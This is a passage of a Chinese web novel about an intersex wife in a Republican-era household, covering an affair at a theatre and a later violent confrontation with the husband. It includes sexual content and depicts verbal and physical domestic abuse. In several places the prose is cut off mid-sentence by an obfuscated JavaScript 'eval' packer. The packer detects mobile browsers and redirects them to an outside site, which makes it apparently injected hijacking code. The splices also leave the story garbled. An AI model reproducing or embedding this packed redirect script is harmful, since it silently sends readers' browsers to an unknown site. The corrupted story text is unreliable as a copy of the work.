闻鹤来心脏剧烈地跳动了起来,他贪新鲜,喜欢刺激,目无纲常,否则也不会轻易撩拨许明意一个嫁了人的,却没想到许明意还藏着这样的“惊喜”。当真是惊喜,稀奇的东西最能攫人心神,尤其是又生在这样一个人身上。 美丽又脆弱的东西,有的能激起人的怜惜,有的只会激起人的恶念,想狠狠碾碎它。 毫无疑问,许明意是属于后者。可握在了手中,又隐隐能觉察出他并不脆弱,甚至藏了锋芒,能将人割得血肉淋漓。闻鹤来清晰地听见了血气翻涌的声音,他知道许明意此刻并不清醒,他被怨恨裹挟,他若是和许明意当真迈出那一步,有趁人之危之嫌。 这不是闻鹤来一贯的作风。 他喜欢心甘情愿,好聚好散。 可此刻闻鹤来竟舍不得再将许明意推开,他像是陷入了这场报复的泥沼,感受着许明意不顾一切的自毁,仿佛自己也成了嗅着了新鲜血肉的恶犬猛兽,纵然眼前是泥沙地狱,也要蹚上一蹚才肯罢休。 许明意孤注一掷,做着自己做梦也不曾想过会做的事,浑身哆嗦不止,掌心也出了汗。他等着闻鹤来说些什么,将他甩开,抑或接纳他……都没有,度秒如年,他嘴唇发白,实在不知还要如何自轻,如何勾引面前的这个男人才能让他动容。 许明意彷徨地想,他不是喜欢自己吗? 可旋即脑子里又响起另一记声音,怎么会有人喜欢你?你配吗?一个连上天,父母亲人,丈夫都厌弃的人。 闻鹤来如果推开他,也在情理之中,理当如此——他满脑子胡思乱想,突然,闻鹤来那把金玉般的好嗓音传入耳中,他说:“别抖了。” 闻鹤来像是笑了一下,轻声道:“张靖遥没有教过你怎么接吻吗?” 许明意颤了颤,他怔怔地望着近在咫尺的闻鹤来,虽是报复,无论闻鹤来出于何种目的。那一刻,许明意竟有种被救赎的松快,几乎让他喜极而泣。 许明意不知所措地看着闻鹤来,他以唇相欺堵着他的嘴唇,动作太青涩了,全然不似一个嫁做人妇已有半年的人。 闻鹤来心想,真可怜。 他轻轻拍了一把许明意的臀,掌心扣住压向自己,唇也亲了上去,道:“张嘴。” 许明意睁大眼睛,却下意识地听了,恍恍惚惚里,他只觉男人的舌头温软有力,舔舐着他的舌头,唇肉,他禁不住颤抖起来。唇好似成了脱壳的白腻蚌肉,挤压触碰着,亲昵得过分,远远超出了许明意的想象。 张靖遥自然是没有吻过他的。 张靖遥怎么会亲他呢? 闻鹤来有耐心,吻许明意时也十足的温存,带着安抚,温柔得让许明意紧绷的身体一点一点软了下来。他呜咽了声,过了许久,才哆哆嗦嗦地伸出舌头舔上闻鹤来的舌尖。 唇舌相接,许明意含糊不清地叫了声,“闻鹤来。” 闻鹤来:“嗯?” 二人堪堪分开,许明意睁着湿漉漉的眼睛,哑声说:“你喜欢我吧?” 闻鹤来微微一笑,说:“当然。” “有谁会不喜欢你呢?” 二人又吻上的那一刻,许明意想,有的,这世上所有人都不喜欢他,不,现在,有人喜欢他的——闻鹤来。 闻鹤来喜欢他。 台上的戏唱得热烈,正唱至孟月华回家和王淑英谈起御碑亭中避雨一事,二人清清白白的,可谁信呢? 王淑英道:“……哪里有柳下惠不动心稍,喜的是无人知回家甚早,若被人说破了一场胡嘲……” 闻鹤来舌头灵巧,许明意全然招架不住。他没经过这样的亲密,俨然一张被人粗糙地留了几笔的纸,如今这张纸落在闻鹤来手中,如何勾画涂抹,自是都由他。 可许明意又实在很喜欢这样的接吻,好亲近,不是嫌恶,不是避之不及,是会含在唇舌间,好似他如珠如宝,被人珍视一般。 二人嘴唇都泛红润泽,许明意看着闻鹤来,耳朵慢慢红了,闻鹤来自他的唇,吻他的鼻尖,脸颊,又亲上耳朵。许明意的耳朵生得薄,今日挂的是白玉绞丝玛瑙耳坠,这一回,闻鹤来没有再吻许明意的耳坠,而是咬住了耳朵。 许明意的手指一下子揪紧了,滚烫的呼吸烧得他半边身子发麻,呻吟将出口,又咬住了嘴唇。他将额头抵在闻鹤来脸颊,没有再抗拒,恍惚里他好像成了一张琴,拨捻勾挑间颤颤不止。 他从未体会过这样的感觉。戏词飘忽入耳,许明意想,礼教大防,孟月华只是和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许明意猛地想起张靖遥从来不在床上爱抚他。他冷漠而强硬,是敷衍,是例行公事,也是掠夺,许明意只能趴在床上,撅起屁股,好似只是一口容器,是一个活生生的能孕育子嗣的宫腔。 唯独不是一个鲜活的人。 许明意眼眶一下子就红了,不可名状的委屈在胸腔里沸腾,“闻鹤来。” 闻鹤来听出了他声音里的异样,抬起眼睛,看着许明意,“嗯?” 许明意说:“你亲亲我。” 闻鹤来愣了下,垂眼看着许明意泛红的眼睛,心脏似被人掐了把,低头吻住了他。 戏台上一出戏将唱至尾声,王有道方知是误会一场,要去寻孟月华负荆请罪。 黑纸白字的“恩爱夫妻丝罗断,”换了轻飘飘的“男儿志气三千丈,污秽之言岂能当。黑夜碑亭虽明白,一时性急未推详,”屈身一跪,几句好话,就是夫妻相携既往不咎。 好个大团圆! 台上谢了幕,台下掌声如雷,人人都在赞誉这样的美好结局,男人功成名就,合该有女人相衬,如此才算圆满。毁人清誉的猜疑不能计较了,能将人逼上死路的休书也算不得什么,都不足道,都该用来成全男人的一生。 张靖遥听着戏,不知怎的,今日总有些心神不定。他看着台上的孟月华,这还是头一遭,他从未有听付邻春的戏走神的时候。 曲终人散,他轻车熟路地去了后台,付邻春正在卸妆。 洗去了铅华,露出清冷淡漠的一张脸,右眼角却生了颗多情痣。张靖遥恍了恍神,说:“邻春。” 付邻春透过镜中看向了张靖遥。 张靖遥抿了抿嘴唇,如常地笑说:“上回说好的戏我改好了,”他取出一沓订成册的纸张,道,“你瞧瞧如何。” 付邻春说:“不必了。” 张靖遥急了,“邻春……为什么?” 付邻春站了起来,转身看着张靖遥,他虽唱的旦角儿,个子却高挑,半点不显女相,“你该明白的。” 张靖遥没有说话。 付邻春道:“日后我的戏,你也不必来听。” 张靖遥睁大眼睛,喃喃道:“……我们,不是知己,至交吗?” 付邻春审视着他,淡淡道:“我也以为你我之间,是君子之交。” 他目光清凌凌的,张靖遥顿时觉得自己那点见不得人的心思大白于天下,显得肮脏又不堪,他低声说:“我确实喜欢你,我以为你对我……也不一样的。” 付邻春沉默,张靖遥道:“四九城里,你待谁都不亲近,却独独引我未友,与我一道论戏……那出《霸王别姬》你忘了吗?” 想起那出戏,付邻春不由得哑然,半晌,道:“一年前,苏寒声苏先生来听过我一出戏,就是这出《霸王别姬》。” 苏寒声——张靖遥自是听过的,沪城名旦。 付邻春说:“苏先生说我的戏,有形而无情,戏中的虞姬随霸王乌江自刎,我唱的是虞姬,却缺了虞姬的痴。” “所以那日你为我说戏,是我陷入戏中,”付邻春看着张靖遥,道,“若是因此误你,对不住。” 张靖遥脸色煞白。 8. 第 8 章 曲有终人有散,戏落幕了,看戏的人也陆陆续续走了。许明意和闻鹤来是在人都走得差不多时才走出的广德戏楼,二人下楼时,许明意的手一直被闻鹤来握在手中,即便是黏糊糊的,都是汗,二人都没有松开。 带他们上楼的茶博士全然不知二人发生了什么,哈着腰,赔笑道:“闻爷,下回再来。” 闻鹤来捏了捏许明意的掌心,道:“一定。” 许明意面皮薄,脸颊发红,低下眼睛不敢看那茶博士的脸色。茶博士看着闻鹤来二人,不知是不是错觉,他好似觉得他们跟来时不一样了,那戴着帷帽的女人柔软的藤蔓也似,挨着闻鹤来,露出的手肤色极白,凝脂似的,打他面前过时,茶博士隐隐闻着了一点奇怪的味道。 他往那截手腕上瞧了好几眼,耸动着鼻尖,目光也落在许明意身上,正和许明意抬起的眼睛对了个正着。 “!”许明意心中一紧,几乎要以为他们哪里露了马脚,教人窥破他们不可对人言的奸情。 突然,闻鹤来低下头来隔着帷帽的薄纱吻上许明意的耳朵,轻佻又孟浪,说:“乖乖,不是急着回去吗?” 许明意抖了抖,极小声地叫了句,“闻鹤来!” 闻鹤来愉悦地笑出了声。 茶博士没听清二人的声音,只是瞧着那亲昵的姿态,不由得也露出了几分艳羡。 二人上了马车,闻鹤来送许明意回张府,他黏糊糊地贴着许明意,一只手还捏着他的手把玩,指缝都能搓上好几下。许明意没经过这样亲昵的触碰,也被他揉弄得手指发烫,心也不上不下的,“……别弄了。” 他想抽回手,闻鹤来在他脸颊亲了口,笑嘻嘻道:“没弄呢,不让亲吗?”他看着许明意,这浪荡子那双眼睛占足了便宜,专注地看着人时便是有几分情意也似有十二分,许明意被他看得面热,还未说话,手指也被印上了亲吻。 这个亲吻轻,透着珍视和爱重。 许明意的心一下子就软了,他蜷了蜷指头,低声说:“……没不让。” 闻鹤来看着他,凑过去吻住了他的嘴唇,许明意眼睫毛颤了颤,忍不住回应起他的吻。走过戏楼那一遭,许明意不再只会生硬地贴着嘴唇就不知动作,两条湿漉漉的舌头如交尾的蛇,缠在一处百般勾弄。车厢里的空气渐渐滚烫起来,外头的人声嘈杂喧闹,许明意被吻得鼻腔里发出含糊的呻吟,意识游离间察觉闻鹤来的手在解他的衣襟,急喘了声,抓住了闻鹤来的手,“不要。” 闻鹤来眼里是未餍足的情欲,他反握住许明意的手,嵌入指缝,撒娇似的叫许明意的名字,“明意。” “真不想让你回去。” 许明意恍了下神,心里冒出了一记声音,他其实……也是不愿回去的。回了张府,他就是许九娘,是张家少奶奶,而在闻鹤来身边,现下,他可以做回许明意。 可他是张家的大少奶奶。 许明意垂下眼睛,哄闻鹤来一般,碰了碰闻鹤来的唇角,轻声说:“我过几日再寻机会……” 这话说得笨拙又难为情,太不矜持,活像他上赶着去见闻鹤来,和他偷情一般。闻鹤来看着许明意,知道不能将人逼得太紧,今日做的已经足够多了。 闻鹤来又压着许明意接了一个缠绵缱绻的深吻,二人都气喘吁吁的,有些难舍难分,“不要为难。” “想着以后能再见你我就很高兴了。” 许明意心中有一丝愧疚,抬起头,主动地握着闻鹤来的手贴上自己的脸颊,挨过去,像急于奉上自己的小宠物。 二人分了手,许明意没有走张府的大门,他是自小门进去时,进去之前,他抬头看着打开的小门,家丁管他叫,“大少奶奶”。 不知怎的,许明意心底突然生出一股子浓烈的厌倦,他一点都不喜欢被人称他大少奶奶。 可再厌倦,还是要进去的。 一迈进张家的门,和闻鹤来偷情的羞耻和恐惧就如迟来的潮水般涌了过来,戏楼不便,尽管他看着和往常无异,可他知道,这身衣裳底下的身体留下了闻鹤来的味道和痕迹。 这是死罪。 突然,一记声音传了过来,“九娘。” 许明意脊背顿时绷紧,抬头看去,是张夫人,她看着他,身后带着丫鬟仆从,众星捧月一般。 许明意心头颤了颤,脸色发白,他惊惶不安地想,夫人怎么会在这里?难不成暴露了……不,不会的…… 许明意手忙脚乱地摘了帷帽,福身叫道:“……娘。” 张夫人皱了皱眉,说:“着急忙慌的像什么样子,不成体统。” 许明意低下头,小声道:“是,娘。” 张夫人见他温顺的模样,淡淡道:“今日去了何处?” 许明意心头更是发慌,他竭力让自己冷静下来,嗫嚅道:“……娘这些时日身子,身子不好,我去给娘祈福——” 张夫人信佛,闻言神色稍缓,道:“你有心了。” “不过这是心病,”张夫人说,“你若能早日怀上孩子,我便什么病也没有了。” 许明意讷讷不言。 张夫人沉声道:“九娘,你已经嫁给靖遥有半年了,肚子里还是没有半点动静,自个儿也要想想办法。” “你别忘了张家为什么娶你进门,张家不需要一个连孩子都生不出的大少奶奶。” 许明意面上有几分难堪,他咬紧嘴唇,轻声说:“是,娘。” 张夫人道:“行了,回去吧。” 许明意行了一礼,起身要走,突然又被叫住,“等一下。” 许明意看着张夫人,张夫人的目光落在他的嘴唇上,他唇色嫣红,透着一股子艳,许明意被她看得后背发凉,不安地叫道:“……娘?” 张夫人说:“日后不要用这样艳丽的口脂。” “你是张家的少奶奶,不是勾栏胡同里的女人。” 许明意更是难堪,口中应是,心里却莫名松了一口气。 直到许明意耐着性子,放缓脚步如所受过的规训一般端庄地离开张夫人的视线,他才松了一口气,方发现自己的后背已经被汗水浸湿了。 “大少奶奶,”说话的是许明意陪嫁的丫鬟,叫红玉,她身旁跟着一个五十来岁的嬷嬷,姓申。二人都是陪着他从津门来的四九城,也是许家老夫人的耳目。 许明意知道她们是来看着他的,一向对她们防备至极。 红玉年纪轻,对许明意尚有几分尊重,申嬷嬷知道许明意的敌意,仗着背后是许老夫人,有几分倚老卖老的意味。 许明意正如惊弓之鸟,不过一声轻唤就吓了一跳,红玉和申嬷嬷也没想到他有这么大的反应,顿时面面相觑。 许明意察觉了自己的失态,吐出口气,对红玉道:“准备热水,我要沐浴。” 红玉看了眼申嬷嬷,应了声是便退了出去,申嬷嬷看着许明意,道:“大少奶奶,四九城不比津门,您是张家的大少奶奶,还是少出门的好。” 许明意心中一紧,抬起眼,就发觉申嬷嬷那双已有些浑浊的眼睛正盯着他,面上的老相在岁月雕刻下愈发显得严厉。仆类其主,申嬷嬷是许老夫人手底下的人,看着她,许明意又想起许老夫人那居高临下的姿态,俯视他,随意拨弄着他的命运。 许明意心中顿生起莫大的反感,可话到嘴边,却又不知如何开口,半晌,说:“我知道了。” 不多时,下人就送来了热水,许明意着意将门闩得死紧,才敢脱了衣裳将自己浸泡入水中。 水温正好,许明意急切地将自己藏入水中,根本不敢看自己的身体。他紧紧地闭着眼睛,温热的水流浸润着每一寸皮肉,恍惚间,竟好似闻鹤来的掌心摩挲着他的身体似的。他不由得打了个激灵,闻鹤来的那双手经过风霜砥砺,留下了粗粗的茧子,温热又有力,摩擦过皮肉时带起一阵战栗。 好像——闻鹤来很喜欢他,喜欢他的身体。 那种喜欢,能驱走自他记事以来,那挥之不去的厌恶,好似他不再是什么肮脏的东西。他也可以被爱,被喜欢,被亲吻,被珍而重之,爱如珠玉。 一念及此,许明意呼吸都微微变得急促,因着这份对,又好似不对的浅薄喜欢,如同深海溺水的人不计后果地攥住了救命的浮木。 茶楼不便,闻鹤来只是擦拭了一番,他的身体里还留下了他偷人的罪证。而今日,他就带着这不可被饶恕的罪证,堂而皇之地回到了张府。 没有人知道。 屋子里再没有其他人,只有许明意微乱的呼吸声,他慢慢睁开眼,看着自己的身体。其实说痕迹——不知是闻鹤来小心,还是顾及着他到底是要回家,闻鹤来并没有在他身上留下多少痕迹——只要不打开他的双腿。 许明意抬起湿漉漉的手碰了碰自己的嘴唇,闻鹤来吻过,他的吻——想起来,许明意竟有些……有些意犹未尽,他心里想,他实在很喜欢闻鹤来亲他。指尖滑过嘴唇落向腰,许明意本就单薄瘦弱,腰身更是细窄,闻鹤来攥住时,许明意想挣都挣不开。 再往下…… 许明意眼角红了,咬住了嘴唇,将手探了进去。水温本该渐低,许明意却觉得这水好似沸了,他浸泡在其中,每一寸皮肉都被烧得发红,脑子里也晕乎乎的,像是还在戏楼,尝着那陌生又汹涌的欲。 冷不丁的,一张脸浮现入脑海,是张靖遥,他的丈夫正看着他。 许明意呜咽了声,水中的身体绷紧如弓弦,须臾软了下来,软绵绵地靠着木桶沿,湿红的嘴唇发出轻轻的喘息声。他失神地盯着净室内的屏风,屏风上勾的是青山绿水,是张靖遥的手笔,他的画在四九城内也排得上号。看久了,不知怎的,许明意心中竟滋生出一种离经叛道的隐晦愉悦,那愉悦如锋利的刀,将他自嫁入张家后便笼罩在他身上的层层阴霾割开了一道小小的口子。 沐浴过后,理智重新回笼,随着天色渐暗,许明意克制不住地焦虑起来。 张靖遥要是回来……想弄他——张靖遥干他时总是灭了烛火,只留一盏,昏昏暗暗的,根本看不清楚。张靖遥也不会看他的身体,未必就会发现异样。二人自成亲到现在,无不是许明意跪在床上,被动地承受。张靖遥也不喜欢许明意发出声音,他们之间的欢爱……不,那不叫欢爱,那和牲畜为了繁衍的□□一般无二。 张靖遥总是不耐烦的,也许……就算他们干了,张靖遥也未必会发现,许明意焦躁不已,克制不住地咬着自己曲起的指骨。他看着天色一点点地暗下去,食不知味地用了点晚膳,目光又落在晃动的烛火里,一动不动地发起呆来。 红玉见许明意不歇息,提醒道:“少奶奶,夜深了。” 许明意一下子回过神,问她:“大少爷回来了吗?” 红玉愣了下,道:“奴婢这就去问问。” 张靖遥不是回了张府就来见许明意的,他有时会去书房,甚至就宿在书房。 许明意忙叫住他,道:“不用了——我就是问问。” 红玉说:“那您还要等大少爷吗?” 许明意抿了抿嘴唇,说:“你先下去吧。”他心里有鬼,不敢睡。红玉瞧了瞧他,应了声,灭了两盏烛火就退了出去。 屋子里又安静了下来。 许明意等了大半夜,直到隐约猜出张靖遥今夜约莫是不会回来了,心里舒了口气,旋即又想起他今日是去看了付邻春唱戏,他是……留在了付邻春那儿?这个念头一来,许明意想,难怪了,看今日戏楼的架势,张靖遥果然是很喜欢付邻春的。 他心里说不上是失落还是怅然,这无关爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887512|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是因为张靖遥是他名义上的丈夫,他曾经也对张靖遥抱有过期待。 许明意一晚上没有睡踏实,倏而是张靖遥,倏而是闻鹤来,期间还夹杂着一张张面目模糊的面孔在对他口诛笔伐,斥责他的失贞和放荡。 翌日晨起时,许明意后背都湿透了。 不知怎的,张靖遥连着两日都不曾回来,他犹豫了一下,没有遣人去问。 不回来也好。 张靖遥虽未回来,张夫人却不知从哪儿弄来了几个偏方,熬成了汤药给许明意喝,道是喝了便更易有孕。药是张夫人身边的嬷嬷送来的,许明意不想喝,可看着那嬷嬷的神情,还是将药喝了下去。 苦极了,透着股子怪味儿,许明意喝得想吐,老嬷嬷道:“少奶奶且忍着些,夫人说了,这都是为了让您尽快怀上小少爷。” 许明意愈发想吐,忍了又忍,到底是咽了下去。 张靖遥是过了四五日才回来的,带着满身酒气,还是张老爷听闻他不去上衙,着管家去把他找回来的。 张靖遥不知喝了多少酒,送回来时尚不清醒,管家将他交给了许明意,叮嘱道:“少奶奶,就劳您照顾大少爷了。” 许明意没有吭声。 醉酒后的张靖遥沉甸甸的,许明意和他身边的拾画一道搀着,才将人送上了床榻。有许明意在,照顾张靖遥自是由他亲力亲为,他脱去了张靖遥的鞋袜,又让人打了热水来给他擦洗,一通折腾,许明意累得出了一身汗。 天色也黑了。 许明意看着闭着眼睛的张靖遥,这副皮囊很是英俊,一看便是读书人,和闻鹤来的张扬全然不同。人说仗义每多屠狗辈,负心多是读书人,对也不对,端看这个人合不合心罢了。睡着的张靖遥不会对他露出厌恶的神情,更没有床事中的咄咄逼人,许明意不再如以往紧绷,说实话,自和闻鹤来之后,他也不知如何面对张靖遥。 怎么办呢? 这好像是一个死局,他根本不知道要怎么收场。 突然,许明意听张靖遥含糊不清地咕哝了什么,犹豫片刻,俯下身凑过去,叫了声,“大少爷?” “……邻春,”张靖遥嘴里吐出模糊的字音,“付邻春。” 许明意神情僵住,脸色也落了下来。 主卧里挂了一个洋人的大钟,是张靖遥弄来的,已经八点了。张夫人身边的老嬷嬷又来送汤药,今日换了一种,她说:“大少奶奶,请吧。” “这可是夫人特意向高人求的送子符熬成的汤,”嬷嬷将一碗黑乎乎的汤药呈了上来。 许明意一言不发地盯着那碗汤,没有动作。 老嬷嬷:“少奶奶?” 许明意不知在想些什么 ,过了好一会儿,说:“……不。” 他声音低,老嬷嬷没听清,许明意抬起头看着老嬷嬷,说:“我不想喝。” 老嬷嬷一怔,许明意这几日都乖顺得很,让喝什么喝什么,没想到竟突然闹起性子来。她皮笑肉不笑,道:“少奶奶,可别耍性子,这是夫人特意给您求的。” “您得喝。” 许明意声音高了几分,“我说了我不喝。” 老嬷嬷脸色也冷了,道:“少奶奶,夫人也是为了你好,你这是要辜负夫人的一片苦心吗?” 许明意只是重复道:“我不喝。” 突然,门外响起张夫人的声音,说:“不喝什么?” 话落下,张夫人也迈了进来,看见她,许明意脸色发白,叫了声,“……娘,您怎么来了?” 张夫人是来看张靖遥的,没想到竟听见许明意不愿喝偏方,她看着许明意,面上分明没有半分怒意,却叫许明意掌心出汗。 张夫人道:“九娘,这是大师特意炼制的送子符汤药,乖乖喝了。” 许明意嘴唇微动,目光艰难地移向那碗汤药,小巧的喉结滚了又滚,嗫嚅着说:“娘,我能不能不喝……” 张夫人微微一笑,说:“九娘,你一直是个省心的孩子。” “可怎么办?你这肚子一直没动静,”张夫人说,“娘心急啊。” 许明意袖中的手不可自控地攥了起来,几乎喘不过气,过了好一会儿,他才慢慢地伸出手要去接那碗汤,突然一道沙哑的声音传了过来,“行了,不喝就不喝,吵什么。” 张靖遥穿着亵衣,显然是才醒,面无表情地转过了屏风,看着他们。 张夫人瞧见儿子,神情缓和,“靖遥,你就别管了,娘这也是为了你们好……” 张靖遥咀嚼着她口中的“为了你们好”几个字,这话已经听过不知多少遍,而今却突然厌烦至极,他漠然道:“都什么时候了,还信这套老封建的东西。” 张靖遥沉着脸:“娘,我已经和您说过了,这些都是江湖骗子的手段,骗人的!” 张夫人被他驳了面子,也不悦,道:“胡说什么,娘这也是为了早点抱上孙子,你们都已经成婚半年多了,还没半点动静……” 张靖遥愈发厌烦,宿醉的头也隐隐作痛,他抬手就将嬷嬷手中那碗汤药打翻了,冷冷道:“我早就和您说过,我这辈子就喜欢男人,生不了孩子。” “您不信,非要弄进一个不男不女的人进来,”张靖遥冷笑道,“这或许就是命!您要怕断了香火,趁我爹现在还能生,给他再纳房小的,说不定还能再添个儿子给张家传宗接代。” 张夫人被他气得手指发抖,“张靖遥!你听听你这说的是什么话!” 张靖遥看着她如此,愈发快意,道:“您再逼我也没用,”他想起付邻春对他的拒绝,心里又生出几分阴郁,道,“若不是你们逼我娶亲……” 他想,要是他没有娶妻,也许他还会有机会,慢慢追求付邻春。 现在,什么都没有了。 9. 第 9 章 张家母子闹了个不欢而散。 张靖遥对张夫人鲜有如此不逊的时候,直到张夫人拂袖而去,屋中的下人都依旧噤若寒蝉。张靖遥将母亲气走,心中浮现一丝懊恼,他目光一扫,就见许明意正小心地看着他。 目光对上,许明意吓了一跳,他没想到张靖遥竟会为他阻拦张夫人,无论是出于什么目的,张靖遥还是……头一回帮他。 想起前几日和闻鹤来在戏楼一事,心里不由得有几分愧疚不安,开口低声说:“大少爷,小厨房煮了醒酒茶——” 张靖遥头疼欲裂,不耐烦道:“用不着你惺惺作态!” 许明意哑然,垂下眼睛不再说话,张靖遥却愈发烦躁,他心里烧了团火,自成亲之后这团火就愈烧愈旺,直到《御碑亭》戏后,付邻春要和他一刀两断,这团火如一颗炮弹在胸腔内炸裂。他这桩失败的婚姻无处不在提醒着张靖遥,他的软弱无能,他的自欺欺人,甚至他和付邻春之间他的失败,张靖遥俨然成了困兽 许明意也是见证者。 张靖遥控制不住地将心里的暴戾都冲许明意一气儿发泄了出来,“许九娘,看我的笑话,看着张家这出闹剧,你心里很高兴吧!” 许明意愣了下,“我没有……” “没有,”张靖遥冷笑道,“你不是逆来顺受吗,别人让你做什么你就做什么,今晚我娘让你喝那碗符水你怎么不喝了?!” 许明意见他脸色骇人,下意识地后退了一步,张靖遥哪儿能容他退,当即抬手抓住了许明意的手臂。他力气大,掐得许明意吃痛,“疼……大少爷,我真的没有想看你笑话。” 一旁的下人想阻拦又不敢阻拦,张靖遥喝道:“都滚出去!” 眼看着屋中只留下了他们二人,许明意寒毛都立了起来 ,下意识地想掰开张靖遥的手,张靖遥用力一甩,许明意站不住踉跄了几步,后腰重重撞在了四方桌桌角。 他疼得脸色发白,眼里也浮现了水光,张靖遥对上他那双眼睛,竟觉出了几分可怜的意味——他掐着许明意的下巴,漠然道:“装得真可怜。” “你以为你真是女人吗?”张靖遥说,“矫揉造作一番就会招人怜惜,你这般,只会让人觉得恶心。” 许明意教他拿话刺得难堪,脸颊也被掐得生疼,呜咽着摇头,“松开……” 张靖遥看着许明意,说:“男人,女人,许九娘,你算什么?” “怪物?” 许明意颤了下,咬紧嘴唇,说:“……我不是怪物。” 张靖遥嗤笑了声,伸手就去扯他的裙摆,道,“不是怪物——你看过你自己的身体吗,啊?” “我怎么会娶你这样不男不女的人,”张靖遥看着他泛红欲泣的眼睛,心中生出几分扭曲的快意,仿佛胸腔里爆炸过后的余波都寻着了宣泄口,“你也配做张家大少奶奶!” 许明意不堪其辱,浑身都气得哆嗦,又惧怕,他一手抓着自己下头的裙子,生怕当真扒光了被逼去看下头的不堪之处,“不要,不要,张靖遥!” “我求你……” 撕拉一声,是盛夏天轻薄的布料被撕裂的声音,许明意尖叫出声,裙摆柔软,迤逦滑落下去,露出下头的丝绸衬裤。张靖遥掐着他的后颈,粗暴地摁在桌上,说:“你是什么东西,也配叫我的名字?” “许九娘,你怕什么?长在你身上的东西,”张靖遥冷笑道,“你自己也觉得恶心吗?” 话音刚落,突然响起一声器物碎裂的声音,张靖遥的声音也戛然而止。 是桌上的青花瓷花鸟博古茶壶。 许明意抓着碎裂的茶壶,身体不住发抖,他红着眼睛看着张靖遥,张靖遥也愣了下,半晌,才觉察出血迹自额头落了下来。 看见那鲜红的血迹,许明意哆嗦了一下,脸色顿时就变得惨白。 张靖遥身体晃了晃,闭眼倒向了许明意。 许明意这才猛地回过神,如被烫着了手,丢开了手中的茶壶碎片,无措又惊慌地抱着昏过去的张靖遥。温热的血水滴在他肩上,灼得他控制不住地颤抖,“张靖遥……大少爷……” 许明意怕极了,举目无所依,绝望至极,他眼泪簌簌掉了下来,“对不起对不起,我不是有意的……” “我不是怪物。” “呜我不恶心……不恶心。” 许明意鲜少和人动手,更遑论这个人是张靖遥。他吃力地将张靖遥拖抱去床上,他额头血糊糊的,看得许明意心惊胆战,可他不敢让人去找医生,张家若是知道他打伤了张靖遥,只怕不会饶过他。 尽管张靖遥醒了,张靖遥未必会放过他。 血水湿黏温热,许明意匆匆取来干净的热水,拧了帕子擦拭他额头的血,手却控制不住地发抖。冷不丁的,一只手攥住了他的手腕,许明意吓得惊叫出声,却见张靖遥不知何时已经睁开了眼睛。他吃痛地皱着眉,眼神阴郁,盯着许明意:“许九娘,你竟然敢打我。” 许明意打了个哆嗦,睁大眼睛,“……对不起,对不起。” 张靖遥也没想到他竟然当真敢对自己动手,那一下砸得突然,又重,他只觉眼前一黑,再恢复意识时,隐约察觉一双温凉的手在自己额头滑动,伴随着几声喃喃带着啜泣的“对不起”。张靖遥心中冷笑,现在知道怕了,拿茶壶砸他的胆量哪儿去了? 怒归怒,张靖遥此刻也慢慢清醒了过来,他对许明意的所为也钻入了脑海中。张靖遥心里掠过一丝懊悔,这是迁怒,可他迁怒许明意又有什么用?说到底,许明意和他没什么区别,不过是一个棋子,一个传宗接代的工具罢了。 一股莫大的无力和疲惫涌上心头,张靖遥靠着软枕,闭上了眼睛。 许明意战战兢兢地等着张靖遥发话,他不知道张靖遥会怎么处置他,恐惧如潮水一般压在心头,迫得许明意喘不过气。可他等了许久,都没有听到张靖遥说话,他咬了咬嘴唇,抬起眼睛,就见张靖遥又闭着眼睛,顿时一颗心高高地悬了起来,几乎以为张靖遥又昏了过去,“大少爷……” 许明意惊惶不已,却听张靖遥说:“还没死你嚎什么丧?!” 只这一句话,他悬着的心一下子松了,这一番劫后余生的大起大落让许明意浑身发软,忍不住揉了下发热的眼睛,“大少爷,你头还疼不疼,我去找大夫来给你看一看?” 张靖遥睁开眼,自下而上地看着许明意,嘴角扯了扯,是个嘲弄的笑,“你想给我请大夫早就请了。” 许明意抠着自己的指头,低头不语,他确实不敢在这个时候去给张靖遥请大夫。相较于张靖遥,他更畏惧张家二老。 张靖遥也无力再计较,许明意如此软弱的一个人,被逼急了也要动手,足见兔子被逼急了,尚有几分反抗的血性,他呢?何其可笑,何其失败?张靖遥自怨自艾地想。 有那么一时半刻,张靖遥竟觉得,他连许明意都不如。 这个念头将浮现,张靖遥还未深想,就倒抽了口气,却是许明意拿了止血的药粉撒在他额头的伤口。药粉甫一撒上去,张靖遥毫无防备,疼得一个激灵,倒抽了口气,咬牙切齿,“许九娘!” 许明意一抖,手中瓷白的小药瓶子失了准头,掉落的药粉哗啦啦就倒在张靖遥脸上,“……” 张靖遥被迷了眼睛,气得不行,“你故意的!” “砸了我还没砸够吗?!” 许明意手忙脚乱地赶紧去擦拭他的脸颊,小声说:“对不起……我不是有意的,我只是想给您上药……” 张靖遥挥开他的手,恼怒道:“别碰我!” 许明意蜷了蜷指头,无措地站在床沿。张靖遥慢慢擦干净自己脸上的药粉,被药粉迷了的眼睛感觉好些了才睁开,一眼就看见了许明意受气包似的,委屈巴巴地杵在一旁,看得他又恼又心梗,面无表情道:“滚出去。” 许明意抿了抿嘴唇,低声说:“您的伤……” 张靖遥:“死不了,”他冷笑一声,说,“再说你恨不得我现在就死了才好吧。” 许明意垂下眼睛,“……不敢。” 是不敢,不是不想,张靖遥看着面前这个已经是他妻子的人,有些恻然。无疾而终的爱情,和他母亲的争执,貌合神离的妻子,张靖遥愈发无力,说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 